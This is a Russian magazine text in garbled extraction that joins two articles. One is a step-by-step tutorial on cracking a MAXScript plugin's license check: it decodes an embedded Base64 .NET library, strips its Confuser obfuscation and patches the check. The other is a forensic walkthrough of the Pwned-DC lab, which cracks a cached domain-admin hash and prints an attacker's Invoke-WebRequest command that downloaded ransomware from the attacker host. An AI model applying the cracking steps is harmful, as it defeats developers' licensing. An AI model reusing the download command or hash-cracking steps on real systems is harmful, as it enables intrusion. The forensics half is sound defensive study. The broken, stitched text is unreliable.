Вот так мы и подош ли к фор мулиров ке задачи иссле дова ния. Есть некая
линей ка широко извес тных в узких кру гах лицен зирован ных про дук тов, реали -
зован ных с помощью MAXScript. Если лицен зии нет, при заг рузке пла гин выда -
ет такое кра сивое окош ко.

Нуж на акти вация лицен зии!

И без регис тра ции рас ширение отка зыва ется что-либо делать даль ше.
Как оту чить прог рамму от этой вред ной при выч ки?

По нача лу нам слег ка везет: рас ширение име ет фор мат прос того тек сто вого
скрип та, в котором хоть и нап рочь отсутс тву ют фор матиро вание, про белы
и перево ды строк, но логику прос ледить мож но. К сло ву, мог ло быть и хуже —
это мог бы быть натив ный пла гин, да и сами скрип ты быва ют не толь ко проз -
рачно го тек сто вого .MS-фор мата, но и зашиф рован ными (.MSE) и даже
запако ван ными (.MZP).

Воз ни с ними боль ше, но оста нав ливать ся на таких пла гинах под робно мы
не будем, пос коль ку и с откры тым тек сто вым .MS-фор матом проб лем нам хва -
тит на целую статью.

От крыв текст скрип та в блок ноте, мы видим, что он на девянос то про цен тов
сос тоит из хаотич ного набора латин ских сим волов и цифр, напоми нающих
Base64 или упо мяну тый мной в  адо бов ский
JSXBIN.

од ной из пре дыду щих ста тей

Со дер жимое пла гина

Мыс ленно взяв в руки брит ву Окка ма, пред положим, что это все-таки прос тей -
ший Base64. Это пред положе ние под твержда ет и най ден ная в откры той тек -
сто вой час ти кода конс трук ция на «мак сов ском» птичь ем язы ке:

fn 
fb64 astr

...

...last_dll_id!=astrid or :: last_dll_fullname!= sett_dll.
fullname then( abytes=(dotnetclass"System.Convert").
frombase64string( ( ()));::sett_dll=dn_assembly.load(abytes
());

В при мер ном перево де на понят ный челове чес кий язык это озна чает, что
некая Base64-стро ка по мере исполне ния кон верти рует ся в бинар ный мас сив,
который заг ружа ется как .NET-биб лиоте ка.

Пог ружать ся в деб ри это го стран ного язы ка в наши пла ны не вхо дит, мы
ори енти руем ся на конс трук ции типа , заг -
ружа ющие объ екты и фун кции из этой биб лиоте ки. Слег ка поковы ряв шись
с пос леду ющим кодом, начина ем потихонь ку при ходить в уны ние, пос коль ку
отту да импорти рует ся до фига чего раз ного. А зна чит, с трес ком про вали лась
изна чаль ная догад ка, что раз работ чики так извра щен но засуну ли в текст скрип -
та дот нетов скую биб лиоте ку исклю читель но для про вер ки лицен зии (и мы лег -
ко откру тим про вер ку вмес те со всей биб лиоте кой).

sett_dll.createinstance(...)

Но самый серь езный удар нас ожи дает поз днее, ког да мы, отыс кав в коде
начало и конец страш ных стро ковых кон стант (а их там, ока зыва ется две:

 — более длин ная — и ), про буем рас кодиро вать их стан дар тным

декоди ров щиком Base64. Нач нем с самой длин ной стро ки , содер жимое
которой до боли похоже на закоди рован ный DLL. Оно рас кодиру ется успешно,
и резуль тат вро де бы и вправ ду похож на DLL.

astr astrid
astr

Со дер жимое стро ки astr

По хож-то он, конеч но, похож, но как при мер но тот леген дарный мотор,
который был похож на нас тоящий, но не работал. Сиг натура пра виль ная, стро -
ки час тично тоже вид ны, одна ко это явно неп равиль ная рас шифров ка. При дет -
ся все-таки сно ва нырять в глу бины недо язы ка MAXScript. Вни матель но пос -
мотрев на про цити рован ную выше стро ку кода, мы обна ружи ваем меж ду 

и  незамет ную прок ладку — фун кцию , пос ле чего

находим ее код:

astr
frombase64string fb64

       
   

  

fb64 a b:"axpuger"c:"*"=(for i=1 to b.count do a=substitutestring(
substitutestring(substitutestring a(toupper b[i])c)(tolower b[i])(
toupper b[i]))c(tolower b[i]);a);fn

Фун кции  и  понят ны и без спра воч ника — это, соот ветс твен -

но, вер хний и ниж ний регистр сим вола. Конс трук ция же 

 экви вален тна пол ной замене в стро ке  всех подс трок (выберем для прос -

тоты JavaScript). Эту конс трук цию мож но пред ста вить в виде 
. То есть этот замыс ловатый код на самом деле пред -

став ляет собой серию из вло жен ных под ста новок со сме ной регис тра сим -
волов из стро ки  через про межу точ ный сим вол . На том же JavaScript
эта опе рация экви вален тна сле дующей фун кции, которой мы и переко диру ем
стро ку до нор маль ного Base64:

toupper tolower
substitutestring a

b c с
a.replace(new

RegExp(b, 'g'), c)

axpuger *

 function fb64(a)
{
  var b="axpuger";
   for (var i=0;i<b.length;i++)
 {
   b1=b.substring(i,1);
     a1=a.replace(new RegExp(b1.toUpperCase(), 'g'),"*");
      a2=a1.replace(new RegExp(b1.toLowerCase(), 'g'), b1.

toUpperCase());
    a=a2.replace(/\*/g, b1);
 }
  return a;

}

Как видишь, при бли жай шем рас смот рении опе рация ока залась прос той
и даже само обра тимой, как всем извес тный XOR. Ины ми сло вами, что бы
обратно закоди ровать для встав ки в скрипт исправ ленную Base64-стро ку, нам
надо при менить к ней ту же самую фун кцию.

Во обще говоря, для людей, хорошо зна комых с MAXScript и 3ds Max, этот
этап не пред став ляет никакой проб лемы — вов се не обя затель но раз бирать
алго ритм переко диров ки, саму опе рацию мож но было выпол нить, не выходя
из 3ds Max, чуть под пра вив исходный скрипт. В общем-то, и обратная опе -
рация переко диров ки исправ ленно го модуля не обя затель на — ведь дос таточ -
но прос то убрать лиш нее зве но  в тех нологи чес кой цепоч ке.fb64

Од нако мы под ходим к сле дующе му серь езно му эта пу работы: у нас уже
есть рас шифро ван ная дот нетов ская биб лиоте ка, которую надо поп равить
и закоди ровать обратно в скрипт. И здесь не все так глад ко — при заг рузке
биб лиоте ки в dnSpy ока зыва ется, что боль шинс тво методов име ют безум ные
име на, а их тела пус ты. То есть модуль сурово обфусци рован.

C подоб ным мы уже стал кивались в . Попыта емся
иден тифици ровать и по воз можнос ти снять обфуска тор при помощи de4dot.
Этот инс тру мент выда ет огромное мно жес тво оши бок, деоб фусци ровать нап -
рочь отка зыва ется, одна ко поль за от него есть: он выдал имя обфуска тора —
это Confuser.

статье про .NET Reactor

Слег ка погуг лив, мы обна ружи ваем, что наш слу чай широко известен
и небез надежен: доб рые люди соз дали для него спе циали зиро ван ный 

. Решение прак тичес ки однокли -
ковое — у деоб фуска тора все го две опции:  (динами чес кая) и  (ста тичес -
кая) рас паков ка. Динами чес кая рас паков ка на нашем модуле с диким виз гом
и прос тыней логов валит ся, одна ко ста тичес кая соз дает модуль, хоть и не
до кон ца читабель ный в dnSpy, но впол не себе с откры тым кодом. Мож но его
нор маль но ана лизи ровать даже без запус ка и най ти мес то для фак тичес ки
одно бай тового пат ча.

де -
обфуска тор, при чем даже с откры тым кодом

-d -s

Де обфусци рован ный модуль мож но изу чить в dnSpy

А вот даль ше у нас сно ва воз ника ют проб лемы: переко диро ван ный
в Base64 и заг ружен ный в скрипт исправ ленный модуль работать катего ричес -
ки отка зыва ется. 3ds Max при его заг рузке выда ет ошиб ку 

. Впро чем, такую же ошиб ку выда ет и не

пат ченный, а прос то деоб фусци рован ный при помощи ConfuserEx-Unpacker
модуль — проб лема явно в кри вой деоб фуска ции.

"Error in DLL --
Runtime error: .NET runtime exception: Could not load type
'Invalid_Token.0x02000000..."

Это зна чит, что наши мучения еще не закон чены и надо ломать голову
в поис ках спо соба внес ти най ден ный патч без деоб фуска ции всей биб лиоте ки,
как мы это делали в . Пос коль ку наше повес тво вание
и так уже дос таточ но затяну лось, чес тно приз наюсь, что я таки нашел вер сию
деоб фуска тора Confuser, кор рек тно обра баты вающую этот динами чес кий
модуль и в ста тичес ком, и в динами чес ком режимах. Впос ледс твии деоб -
фусци рован ный и пат ченный модуль нор маль но работа ет из зло получ ного
скрип та. Если читате ля не пуга ет араб ская вязь, то вот 

.

статье про.NET Reactor

ссыл ка на упо мяну тую
вер сию ConfuserEx Unpacker

В зак лючение я все-таки в двух сло вах опи шу нап равле ние для самос -
тоятель ного пат ча в обфусци рован ном модуле Confuser. На тот слу чай, если
тебе попадет ся вер сия, которая ока жет ся не по зубам всем най ден ным
в интерне те деоб фуска торам.

В целом этот спо соб пол ностью ана логи чен , раз -
ница в том, что в Reactorе алго рит мом шиф рования был обыч ный XOR. Соот -
ветс твен но, мож но про пат чить най ден ный фраг мент кода, отксо рив его
с сущес тву ющим зна чени ем. В Confuser все сов сем по-дру гому: покопав шись
в коде про екта ConfuserEx Unpacker, в модуле 

мож но най ти про цеду ру , где находит ся такой алго ритм:

ва риан ту с .NET Reactor

Protection/AntiTamper.cs
DecryptMethods

        for (uint i = 0; i < num; i++)
{
    uint num4 = reader.ReadUInt32();
       numArray[i] = num4 ^ arrayKeys[(int)((IntPtr)(i & 15))];
       arrayKeys[(int)((IntPtr)(i & 15))] = num4 + 0x3dbb2819;

}

Ис ходя из это го алго рит ма нель зя прос то так взять и поменять один байт
в коде, пос коль ку изме нение одно го бай та вле чет за собой пов торное шиф -
рование всей пос леду ющей час ти бло ка. Тем не менее труд ности не помеха
для усид чивого хакера, которо му, конеч но, не сос тавит тру да написать малень -
кую прог рам мку для пат ча и пов торно го шиф рования бло ка дан ных на осно ве
при веден ного выше алго рит ма.
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ВЗЛОМ

Се год ня я рас ска жу, как извле кать дан ные
из таб лицы MFT, получать информа цию
из фай лов Prefetch и монито ра исполь -
зования сис темных ресур сов (srum),
а еще — ана лизи ровать фай лы логов опе -
раци онной сис темы. При иссле дова нии
обра за опе ратив ной памяти мы поз -
накомим ся с внут ренним устрой ством
памяти Windows и най дем арте фак ты, сви -
детель ству ющие о ком про мета ции сис -
темы.

Рас сле дова ние киберин циден тов — это очень увле катель ное занятие, тре -
бующее опре делен ных зна ний и навыков. Отто чить их помога ют спе циаль ные
лабора тор ные работы, ими тиру ющие реаль ные слу чаи успешных атак зло -
умыш ленни ков и взло ма, с которы ми встре чают ся на прак тике спе циалис ты
по информа цион ной безопас ности. Сегод ня мы раз берем лабора тор ную
работу  с ресур са .Pwned-DC CyberDefenders

По сце нарию лабора тор ной работы про изо шел взлом Active Directory, зло -
умыш ленни ки смог ли зах ватить кор поратив ный кон трол лер домена. Наша
задача — про вес ти рас сле дова ние инци ден та и узнать, как хакерам уда лось
про ник нуть в сеть. Для иссле дова ния у нас име ется побито вая копия сис -
темно го дис ка ском про мети рован ной машины, опе ратив ной памяти, а так же
информа ция об объ ектах домена.

Заг рузим файл  и нач нем их иссле довать.об разов
По резуль татам раз бора этой лабора тор ной необ ходимо отве тить на ряд

воп росов, но я покажу толь ко само решение и не буду озву чивать отве ты. Тебе
при дет ся пов торить весь про цесс самос тоятель но — так ты луч ше пой мешь
и зак репишь матери ал.

ÈÍÑÒÐÓÌÅÍÒÛ

1. Ути литы : Registry Explorer, MFTECmd.Eric Zimmerman
2. Ути литы : fulleventlogview, winprefetchview, browsinghistoryview,

TurnOnTimesView.
Nirsoft

3.  — ути лита для вос ста нов ления дан ных с дис ка.R-Studio
4.  — инс тру мент, реали зован ный на Python вер -

сии 2 и пред назна чен ный для извле чения арте фак тов из обра зов энер -
гозави симой памяти.

Volatility Framework 2.6.1

5.  — инс тру мент для вос ста нов ления PST-кон тей неров в EML.PST-Extractor
6.  — прог рамма для ана лиза shell-кода.Scdbg
7.  — ути лита для извле чения информа ции из базы дан ных

управле ния исполь зовани ем сис темных ресур сов.
Srum-dump

8.  — инс тру мент для ана лиза и получе ния обра зов дис ка.FTK Imager
9.  — ути литы для ана лиза ава рий ных дам пов.WinDbg x64

10.  — инс тру мент для извле чения и ана лиза исходно го кода мак росов
VBA из докумен тов MS Office (OLE и OpenXML).
Olevba

ÏËÀÃÈÍÛ VOLATILITY2 ÄËß ÈÇÂËÅ×ÅÍÈß ÄÀÍÍÛÕ

1.  — пла гин для опре деле ния опе раци онной сис темы, пакета

обновле ний и аппа рат ной архи тек туры иссле дуемо го обра за.

Imageinfo

2.  поз воля ет прос матри вать спи сок про цес сов в виде дерева.Pstree

3.  извле кает все резиден тные стра ницы памяти в про цес се.Memdump

4.  — пла гин для поис ка объ ектов FILE_OBJECT в памяти с помощью

ска ниро вания тегов пула. Этот пла гин най дет все откры тые фай лы.

Filescan

5.  извле кает кеширо ван ные фай лы из обра за памяти.Dumpfiles

6.  ищет сетевые арте фак ты в 32- и 64-раз рядных дам пах памяти.

Этот пла гин находит конеч ные точ ки TCP, UDP, а так же локаль ные и уда лен -
ные IP-адре са.

Netscan

7.  ищет зна чения в ука зан ном раз деле реес тра Windows.Printkey

8.  поз воля ет получить информа цию из клю ча реес тра

.

Userassist

UserAssist
9.  — этот пла гин ска ниру ет записи глав ной таб лицы фай лов (MFT)

в памяти и выводит информа цию о вре мен ных мет ках фай лов.

Mftparser

10.  — под клю чаемый пла гин для поис ка точек сох ранения исполня -
емых фай лов в сис теме. Для его под клю чения необ ходимо добавить пла гин
в каталог  инс тру мен та Volatility.

Autoruns

plugins
11.  — пла гин для инте рак тивно го изу чения обра за памяти, исполь зует

IPython.
Volshell

12.  — пла гин для получе ния дам па исполня емо го фай ла.Procdump

13.  — пла гин для поис ка вир туаль ных адре сов кус тов реес тра.Hivelist

ÎÁÚÅÊÒÛ ÄÎÌÅÍÀ

В архи ве задания содер жится файл , который хра нит

информа цию об объ ектах домена. Заг рузим его в BloodHound вер сии 4.0.1.

20211122102526.zip

Пе рей дем на вклад ку Analysyis → Find Shotest Paths to Domain Admins и про -
ана лизи руем корот кий путь до ком про мета ции кон трол лера домена.

Ко рот кий путь до адми нис тра тора домена

За дача зло умыш ленни ка в сети орга низа ции — получить дос туп к учет ной
записи поль зовате ля , который вхо дит в груп пу .0xMohammed Domain Admins

ÎÁÐÀÇ ÄÈÑÊÀ AD.E01

При мон тиру ем файл побито вой копии дис ка AD.E01 и извле чем из него необ -
ходимые арте фак ты. Для это го откро ем ути литу FTK Imager, перей дем
на вклад ку File → Image Mounting. В поле Image File выберем образ AD.E01,
а затем вве дем ука зан ные ниже нас трой ки.

Мон тирова ние обра за дис ка

На жима ем Mount — иссле дуемый образ дол жен при мон тировать ся к фай ловой
сис теме.

По лучим информа цию из кус тов реес тра  и  (

), заг рузим их в ути литу Registry Explorer. Затем перехо дим

в раз дел File → Load hive и выбира ем иссле дуемый файл.

SYSTEM SOFTWARE C:\Windows\
System32\config

Что бы получить информа цию об опе раци онной сис теме, перей дем в ключ
реес тра .SOFTWARE\Microsoft\Windows NT\CurrentVersion

Ин форма ция об опе раци онной сис теме

Вер сия опе раци онной сис темы — Windows 10 Enterprise 2016 LTSB. Теперь
прос мотрим ключ реес тра 

 и получим информа цию об име ни компь юте ра.

SYSTEM\ControlSet01\Control\ComputerName\
ComputerName

Имя компь юте ра

Имя компь юте ра: .PC01
Те перь откро ем ключ реес тра 

и получим информа цию о сетевых нас трой ках.

SYSTEM\ControlSet001\Services\Tcpip\
Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-5be0c2bc1692}

Ин форма ция о сетевых нас трой ках

IP-адрес иссле дуемо го хос та — .192.168.112.142
По лучим информа цию о при мон тирован ных дис ках. Для это го перей дем

в вет ку реес тра : нас инте ресу ет GUID дис ка C.SYSTEM\MountedDevices

GUID дис ка С

Из зна чения на рисун ке выше сле дует, что GUID дис ка C — 

, такую же информа цию мож но получить из логов
сис темы, прос мотрев событие  жур нала 

.

fad905b3-fb35-
4dbd-ab31-a44f022809d2

eventid 142 Microsoft-Windows-
Ntfs/Operational

Те перь най дем пор ты служб на PC01, для это го перей дем к фай лу
.Windows/System32/drivers/etc/services

Со дер жимое фай ла services

Здесь мы можем уви деть, что служ ба  работа ет на пор те

. Про ана лизи руем файл  и най дем отметку вре мени, ког да
про изош ло незап ланиро ван ное отклю чение, а так же узна ем, сколь ко вре мени
про рабо тал компь ютер. Для это го мож но вос поль зовать ся ути литой
TurnOnTimesView, либо при дет ся ана лизи ровать лог вруч ную.

Remote Man Server
9535 System.evtx

Ре зуль тат работы ути литы TurnOnTimesView

21.11.2021 питание машины незап ланиро ван но отклю чилось, до это го компь -
ютер про рабо тал 11 часов и 31 минуту (об этом говорит зна чение ).11:31

Нач нем ана лизи ровать логи. Для это го откро ем ути литу fulleventlogview,
наж мем Choose Data Store → Load events from external folder with log les и ука -
жем путь к пап ке с логами .Windows\System32\winevt\Logs

От филь тру ем логи по событию  и пос мотрим, кто авто ризо вывал ся

в сис теме пос ледний раз перед инци ден том. Для это го перехо дим на вклад ку
Options → Advanced Options, выбира ем Show only the specied events IDs и вво -
дим наше событие.

4624

23.11.2021 в 23:36:05 UTC поль зователь  авто ризо вал ся в сис -

теме — это был пос ледний зарегис три рован ный логин перед взло мом.

0xMohammed

Пос ледний авто ризо ван ный поль зователь в сис теме

Про ана лизи руем исто рию бра узе ра Firefox поль зовате ля . Для это го вос -

поль зуем ся ути литой BrowsingHistoryView: перей дем на вклад ку Options →
Advanced Options и ука жем путь до поль зователь ско го катало га.

labib

По луче ние исто рии из бра узе ра Firefox

Ис тория Firefox

Поль зователь  22.11.2021 в 19:45:52 UTC посетил сайт 

.

labib bluedemy.
cyberdefenders.org

Про ана лизи руем базу дан ных управле ния исполь зовани ем сис темных
ресур сов (srum), которая при сутс тву ет в сов ремен ных сис темах Windows
и собира ет ста тис тику выпол нения дво ичных фай лов. Эта база хра нит ся в фай -
ле . С исполь зовани ем ути литы srum-
dump про ана лизи руем srum и най дем, сколь ко бай тов было при нято бра узе -
ром Firefox.

C:\Windows\System32\sru\\RUDB.dat

Ра бота ути литы srum-dump

Не забыва ем так же ука зать файл , который заг ружа ем
из репози тория ути литы.

SRUM_TEMPLATE.xlsx

От кры ваем выход ной файл , перехо дим на лист

Network Data Usage, находим  и ана лизи руем таб лицу. Количес тво
получен ных дан ных — .

SRUM_DUMP_OUTPUT.xlsx
firefox.exe

20418287
Те перь пос мотрим, какие пос ледние фай лы запус кал поль зователь .

Перехо дим по пути 
 и в этом катало ге находим файл ,

соз данный 19.11.2021.

labib
С/Users/labib/AppData/Roaming/Microsoft/Windows/

Recent/ 20211119103954_BloodHound.lnk

В ссыл ке на файл ука зан путь к архи ву 
, содер жащий информа цию об объ ектах

домена. Эта информа ция собира лась для ана лиза в BloodHound.

C:\Users\labib\Desktop\
20211119103954_BloodHound.zip

Про ана лизи руем MFT с помощью ути литы MFTECmd. Из кор ня фай ловой
сис темы извле чем файл , это мож но сде лать с помощью R-Studio
или FTKImager.

$MFT

В катало ге  соз дан файл  с мет кой

вре мени 22.11.2021 22:40:06, этот файл содер жит информа цию о поль зовате -
лях домена и их деятель нос ти в ком пании. Най дем ука зан ный файл в таб лице
MFT:

Users/labib/Desktop Business.xlsx

MFTECmd.exe -f "C:\Users\DonNod\Downloads\AD-101\AD-E01\MFT" --
csv "AD-101\AD-E01"

В фай ле вывода ути литы MFTECmd обна ружи ваем  и его поле

, которое име ет зна чение .

Business.xlsx
LogfileSequenceNumber 1422361276

Поп робу ем получить пароль поль зовате ля , который вхо дит
в груп пу адми нис тра торов домена. Выг рузим вет ки реес тра , ,

 и вытащим из них хеши поль зовате лей. Для это го вос поль зуем ся

скрип том  из пакета Impacket.

0xMohammed
SAM SYSTEM

SECURITY
secretdum.py

Выг ружен ные аутен тифика цион ные дан ные из веток реес тра

На хос те PC01 авто ризо вывал ся домен ный поль зователь , его дан -

ные сох ранены в кеше. С помощью ути литы hashcat сбру тим mccache2 хеша
поль зовате ля :

0xMohammed

0xMohammed

$DCC2$10240#0xMohammed#e7b8d19008520207ca8ef94680db0f28

В резуль тате этой опе рации выяс няет ся, что его пароль — .0xmohammed!
Те перь попыта емся узнать, как зло умыш ленник ском про мети ровал хост

PC01. Ана лизи руя фай лы, в катало ге 

 поль зовате ля  мы обна ружи ваем поч товый кон тей -
нер Outlook. Пре обра зуем кон тей нер в eml-сооб щения, для это го откро ем ути -
литу PST-Xtracrot, заг рузим в нее кон тей нер и наж мем Convert. Пос ле это го
мож но про ана лизи ровать все сооб щения анти вирус ными средс тва ми, что бы
поис кать вре донос ные вло жения.

C:\Users\labib\Documents\Outlook
Files\Outlook.pst labib

Со дер жимое пись ма

За голо вок вре донос ного пись ма

Сре ди сооб щений поль зовате ля мы обна ружи ваем вре донос ное вло жение.
Сооб щение отправ лено  с поч тового сер вера

. В качес тве вло жения исполь зует ся файл 

. Выяс ним, ког да поль зователь открыл этот файл.

12/08/2021 04:47:49 AM UTC
159.65.58.195 Unpaid Invoice.
xls

С помощью ути литы winprefetchview иссле дуем арте факт Prefetch. Для это го
наж мем Options → Advanced Options и выберем рас положе ние фай лов prefetch
ском про мети рован ного компь юте ра: . Фай лы Prefetch

содер жат имя исполня емо го фай ла, количес тво его запус ков, мет ки вре мени,
а так же спи сок фай лов и катало гов, с которы ми вза имо дей ство вал исполня -
емый файл.

\Windows\Prefetch

За пуск фай ла Unpaid Invoice.xls

По ле  содер жит дату пос ледних семи запус ков. Как вид но из рисун ка

выше, поль зователь открыл файл , при этом пос ледняя

мет ка вре мени запус ка при ложе ния  — 
. Оста лось выяс нить, что пред став ляет собой вре донос ный файл 

, по его MD5: .

Last Run
Unpaid Invoice.xls

Excel.exe 22.11.2021 в 19:38:16
UTC Unpaid
Invoice.xls 650cf937046ce0c755a217ae8a60611d

Файл содер жит VBA-скрипт. Вытащим его с помощью olevba. При запус ке
появ ляют ся ошиб ки, поэто му мы запус тим ути литу с парамет ром 

. Тех ника встра ива ния вре донос ного кода в содер жащий мак рос

документ называ ется .

--show-
pcode

Stomping VBA

olevba --show-pcode Unpaid\ Invoice.xls

Продолжение статьи →
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ИССЛЕДУЕМ ДАМПЫ
И ИЩЕМ СЛЕДЫ ВЗЛОМА

В СИСТЕМЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ре зуль тат работы ути литы olevba

Из вле чем p-code, най дем шелл и про ана лизи руем его.

Часть вре донос ного p-code

Пре обра зуем его в сле дующий фор мат и сох раним в файл .sc

Со дер жимое шелл-кода

Про ана лизи руем получен ный файл с помощью ути литы .scdbg

scdbg /f sc

Шелл-код

Пос ле запус ка докумен та  уста нав лива ется обратная обо -

лоч ка с управля ющим сер вером , пос ле чего зло умыш -
ленник может выпол нять коман ды на ском про мети рован ном компь юте ре.

Unpaid Invoice.xls
192.168.112.128:8080

Прис тупим к ана лизу логов опе раци онной сис темы и выяс ним, какие
еще дей ствия совер шил зло умыш ленник в сис теме. Откро ем ути литу
fulleventlogview, перей дем на вклад ку File → Choose Data Source и ука жем путь
к фай лам логов: .Windows\System32\winevt\Logs

Про ана лизи руем сна чала логи анти виру са Windows Defender. Мы сра зу же
обна ружи ваем событие c иден тифика тором 

(MALWAREPROTECTION_STATE_MALWARE_DETECTED), которое сви детель -
ству ет об обна руже нии вре донос ного фай ла.

1116

Ло ги Windows Defender

Поль зователь  пытал ся открыть файл по пути 
 в блок ноте. Windows Defender обна ружил вре -

донос ный файл и клас сифици ровал его как 

(каталог рас положе ния фай ла ).

0xMohammed \\vmware-host\
Shared Folders\asd\note.txt

Exploit:Win32/ShellCode.BN
asd

Пред положи тель но запуск вре донос ного докумен та 

про изо шел 22.11.2021 в 19:38 UTC, с это го момен та мы и нач нем ана лизи -
ровать логи. В 20:26:03 UTC была запуще на обо лоч ка Windows PowerShell
(события име ют иден тифика торы  и ), далее начина ется выпол нение
коман ды.

Unpaid Invoice.xls

400 600

Вы зов PowerShell с аргу мен том -h

Вы пол нение вре донос ного скрип та

Пос ле выпол нения обратной обо лоч ки в фай ле  зло -
умыш ленник получил дос туп к компь юте ру, затем он начал выпол нять коман ды
PowerShell, показан ные на рисун ке выше. Извле чем их из логов и пре обра зуем
в тек сто вый вид.

Unpaid Invoice.xls

PowerShell коман ды, выпол ненные зло умыш ленни ком

Зло умыш ленник запус тил новую обо лоч ку PowerShell от име ни поль зовате ля
 для устой чивого дос тупа к ском про мети рован ному компь юте ру с IP-

адре сом , на пор те . Далее взлом щик пытал ся авто ризо -
вать ся на хос те  c учет ными дан ными поль зовате ля .

В 21:20:29 зафик сирова но событие  — авто риза ция на компь юте ре

DC01 от поль зовате ля , имя про цес са .

labib
192.168.112.128 1337

DC01 labib
4648

labib PowerShell.exe

Со бытие 4648

В 21:20:46 так же зафик сирова ны попыт ки вхо да на PC01 с адре са 

, авто ризо вать ся пытал ся тот же поль зователь .

192.168.
112.128 labib

Се тевой вход

В 21:51:15 UTC от име ни поль зовате ля  выпол нен скрипт 

. Этот скрипт пред назна чен для уда ления спис ков ACL в Active
Directory, нас тро енных небезо пас но, а так же для сбо ра дан ных об объ ектах
домена.

labib Invoke-

ACLPwn.ps1

Вы пол нение скрип та Invoke-ACLPwn.ps1

Для получе ния дос тупа к компь юте ру DC01 зло умыш ленни ку необ ходимо зав -
ладеть учет ной записью поль зовате ля , который вхо дит в груп пу
Domain Admins. В 22:56:23 UTC обна руже но под клю чение к DC01 c помощью
служ бы , иден тифика тор события .

0xMohammed

WinRM 6

От кры тие WinRM

В 22:58:44 UTC зафик сирова но событие авто риза ции на хос те DC01, при этом
были вве дены учет ные дан ные поль зовате ля .0xMohammed

По пыт ка вхо да в сис тему

С это го момен та зло умыш ленник выпол нял коман ды PowerShell уже от име ни
поль зовате ля . В 13:32:44 UTC 23.11.2021 домен ный поль зователь

 зарегис три ровал задачу , иден -

тифика тор события . Най дем эту задачу в катало ге 

.

0xMohammed
CYBERDEFENDERS\0xMohammed MicrosoftEdge

106 Windows\System32\
Tasks\MicrosoftEdge

Соз данная задача MicrosoftEdge

Сог ласно мат рице , такая тех ника ата ки называ ется
, ата кующий исполь зовал управля ющий сер вер 

.

MITRE ATT&CK
T1053.005 c2.
cyberdefenders.org

Те перь про верим исто рию команд PowerShell. Для поль зовате ля
 в фай ле 

хра нит ся сле дующая информа ция.

administrator C:/Users/administrator/AppData/Roaming/
Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt

Со дер жимое фай ла ConsoleHost_history.txt поль зовате ля administrator

При иссле дова нии арте фак тов, извле чен ных из побито вой копии обра за хос та
PC01, уда лось вос ста новить ход взло ма. С помощью фишин гового пись ма,
содер жащего шелл-код с адре сом управля юще го сер вера 

, зло умыш ленни ки получи ли дос туп к компь юте ру от име ни поль зовате ля
. Затем они соб рали информа цию о домене и ском про мети рова ли учет -

ные дан ные адми нис тра тора домена . Для дос тупа к хос ту

DC01 ата кующие исполь зовали служ бу WinRM и уда лен ное выпол нение команд
PowerShell.

192.168.112.128:
8080
labib

0xMohammed

ÎÁÐÀÇ ÎÏÅÐÀÒÈÂÍÎÉ ÏÀÌßÒÈ ÕÎÑÒÀ DC01

При иссле дова нии обра за опе ратив ной памяти мы научим ся выяв лять арте -
фак ты уда лен ного выпол нения кода служ бы WinRM, поз накомим ся с важ ными
струк турами исполня емых объ ектов памяти Windows, узна ем, как их ана лизи -
ровать, и выяс ним, что сде лал зло умыш ленник на ском про мети рован ном
компь юте ре.

Для начала получим информа цию об иссле дуемом про филе и име ни компь -
юте ра.

python2.7 vol.py -f memory.dmp imageinfo

Про филь обра за — . Теперь получим информа цию из клю ча

реес тра .

Win2016x64_14393
SYSTEM\ControlSet001\Control\ComputerName\ComputerName

 
python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
printkey -K "SYSTEM\ControlSet001\Control\ComputerName\C
omputerName"

Имя компь юте ра

По лучим адрес вет ки реес тра :SOFTWARE

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 hivelist

Ад рес вет ки SOFTWARE — .0x00000000040f7000
Мож но прис тупать к ана лизу про цес сов. Для это го вос поль зуем ся пла гином

pstree, а резуль тат выпол нения сох раним в файл.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 pstree >
pstree.txt

За пущен ные в сис теме про цес сы

Из рисун ка выше вид но, что про цесс  (иден тифика тор )

породил экзем пляр про цес са  (иден тифика тор ),

который явля ется хост-про цес сом для под клю чаемых модулей служ бы WinRM.
Коман ды PowerShell зло умыш ленни ка уда лен но выпол нялись в кон тек сте про -
цес са  (иден тифика тор ). Так же про цесс  соз дал

дочер ний про цесс . Из получен ного ана лиза мож но сде лать
вывод, что зло умыш ленни ки получи ли дос туп к компь юте ру DC01, исполь зуя
воз можнос ти служ бы WinRM.

svchost.exe 512
wsmprovhost.exe 1632

wsmprovhost.exe 1632 1632
svchost.exe

Ка чес твен ный ана лиз поис ка уда лен ного выпол -
нения команд PowerShell опи сан в статье

.Investigating PowerShell Attacks

Служ бы WinRM для вза имо дей ствия исполь зуют про токол ,
который отправ ляет сооб щения SOAP в потоке XML-сооб щений. Их струк тура
пред став лена в . Получим все резиден тные стра ницы памяти
про цес са  (иден тифика тор ) и извле чем из него все

XML-объ екты, в которых переда ются коман ды PowerShell служ бы WinRM.

WS-Management

до кумен тации
wsmprovhost.exe 1632

 
python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 memdump 
-p 1632 -D .

Все най ден ные XML-объ екты сох раним в файл. Затем в струк туре XML-
докумен та най дем поле :<S N="History">

   strings 1632.dmp | grep -i '<Obj RefId="0">' > objectPS

Заг рузка фай ла svchost.exe

Для заг рузки фай ла  исполь зует ся сле дующая коман да

PowerShell: 
. Спус каем ся ниже и видим запуск дан ного фай ла.

svchost.exe
Invoke-WebRequest http://192.168.112.128:8000/svchost.

exe -OutFile svchost.exe

За пуск фай ла svchost

Иног да слож но най ти вре донос ный про цесс в памяти Windows, в этом слу чае
мож но получить дам пы всех про цес сов в сис теме и про верить их с помощью
анти виру са.

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 
procdump -D procdmp/

Об наружен ный вре донос ный файл

Про цесс  (иден тифика тор ) вре донос ный и отно сит ся
к семей ству шиф роваль щиков . Получим информа цию о при виле гиях
это го про цес са в сис теме, для чего вос поль зуем ся пла гином privs.

svchost.exe 3140
DarkSide

python2.7 vol.py -f memory.dmp --profile=Win2016x64_14393 privs -p
3140

При виле гии про цес са svchost.exe

Ко личес тво при виле гий по умол чанию у это го вре донос ного про цес са — 25.
Давай про ведем глу бокий ана лиз вре донос ного про цес са , но преж де

нем ного погово рим о струк турах исполня емых объ ектов в памяти.

3140

Най дем поле  струк туры  иссле дуемо го про цес са.
